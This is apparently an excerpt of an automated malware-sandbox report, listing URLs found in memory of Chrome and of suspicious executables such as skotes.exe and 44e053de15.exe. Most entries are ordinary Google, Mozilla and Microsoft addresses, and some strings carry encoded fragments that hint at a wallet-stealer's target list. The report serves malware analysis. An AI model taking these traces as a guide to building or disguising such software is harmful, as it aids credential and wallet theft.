Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2647716781.000039D40220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661611454.000039D402AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 0000000C.00000002.2661611454.000039D402AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/9
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 0000000C.00000002.2659731237.000039D40281C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663053741.000039D402E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000000C.00000002.2663548915.000039D402EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 0000000C.00000002.2663548915.000039D402EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 0000000C.00000002.2645213535.0000342400770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2662220697.000039D402C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000000C.00000003.2580305795.000039D403B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2642515631.0000342400237000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645213535.0000342400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 0000000C.00000002.2642515631.0000342400237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard4$$
Source: chrome.exe, 0000000C.00000002.2645213535.0000342400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard4$wZ
Source: chrome.exe, 0000000C.00000003.2580305795.000039D403B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard9
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 0000000C.00000002.2645213535.0000342400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 0000000C.00000002.2645213535.0000342400770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2662220697.000039D402C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 0000000C.00000003.2521161489.000034240039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 0000000C.00000003.2524944249.00003424006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645157051.0000342400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 0000000C.00000003.2518385462.0000342400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 0000000C.00000002.2645157051.0000342400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 0000000C.00000003.2579362478.000039D4036BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 0000000C.00000003.2565952633.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658491708.000039D402588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api9
Source: chrome.exe, 0000000C.00000002.2655214755.000039D4022EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 0000000C.00000002.2655214755.000039D4022EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 0000000C.00000002.2655214755.000039D4022EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 0000000C.00000003.2554398614.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540218878.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2655214755.000039D4022EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2657230752.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549335470.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542745139.000039D40254C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000C.00000002.2660526749.000039D402920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2659072574.000039D4026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670449534.000039D40321C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 0000000C.00000002.2658783234.000039D40262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660058395.000039D4028B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 0000000C.00000002.2660058395.000039D4028B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacys
Source: chrome.exe, 0000000C.00000002.2658783234.000039D40262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2660058395.000039D4028B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 0000000C.00000002.2660058395.000039D4028B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhonefa
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 0000000C.00000002.2670249710.000039D4031DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 0000000C.00000002.2661860850.000039D402B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661899073.000039D402BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 0000000C.00000002.2655993650.000039D40240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 0000000C.00000003.2570021935.000039D402E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2670344133.000039D40320C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667403031.000039D403068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667403031.000039D403068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542708662.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2591564156.000039D40420C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667471881.000039D403074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667403031.000039D403068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542708662.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667403031.000039D403068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542708662.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2591564156.000039D40420C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667403031.000039D403068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542708662.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 0000000C.00000002.2667271414.000039D40305C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2667403031.000039D403068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2542708662.000039D402C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2666619188.000039D40302C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2591564156.000039D40420C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 0000000C.00000002.2661860850.000039D402B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661899073.000039D402BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 0000000C.00000002.2661860850.000039D402B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661899073.000039D402BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000C.00000002.2664645124.000039D402FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 0000000C.00000002.2664645124.000039D402FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000C.00000002.2664645124.000039D402FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000C.00000002.2669470448.000039D4030E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2654767168.000039D40228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 0000000C.00000002.2660171013.000039D4028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 0000000C.00000002.2663548915.000039D402EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000C.00000002.2663548915.000039D402EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661166588.000039D402A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2661007315.000039D4029C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 0000000C.00000002.2658631043.000039D4025EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 44e053de15.exe, 00000007.00000003.2435188600.000000000571E000.00000004.00000800.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566434447.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 44e053de15.exe, 0000000B.00000003.2607374925.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 932a9eb371.exe, 00000008.00000003.2726835570.00000000238B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 44e053de15.exe, 00000007.00000003.2435188600.000000000571C000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000003.2635644578.000000001D54D000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566434447.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 44e053de15.exe, 00000007.00000003.2435188600.000000000571C000.00000004.00000800.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp, 932a9eb371.exe, 00000008.00000003.2635644578.000000001D54D000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2566434447.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: 932a9eb371.exe, 00000008.00000002.2787161669.0000000000116000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: chrome.exe, 0000000C.00000002.2662152308.000039D402C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 0000000C.00000002.2655906954.000039D4023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2824399610.0000000023673000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2628731548.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: skotes.exe, 00000006.00000002.2962563702.0000000001347000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421327250.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421166085.000000000123B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 44e053de15.exe, 00000007.00000003.2421327250.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-manaI
Source: skotes.exe, 00000006.00000002.2962563702.0000000001347000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421210406.0000000001206000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421428792.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
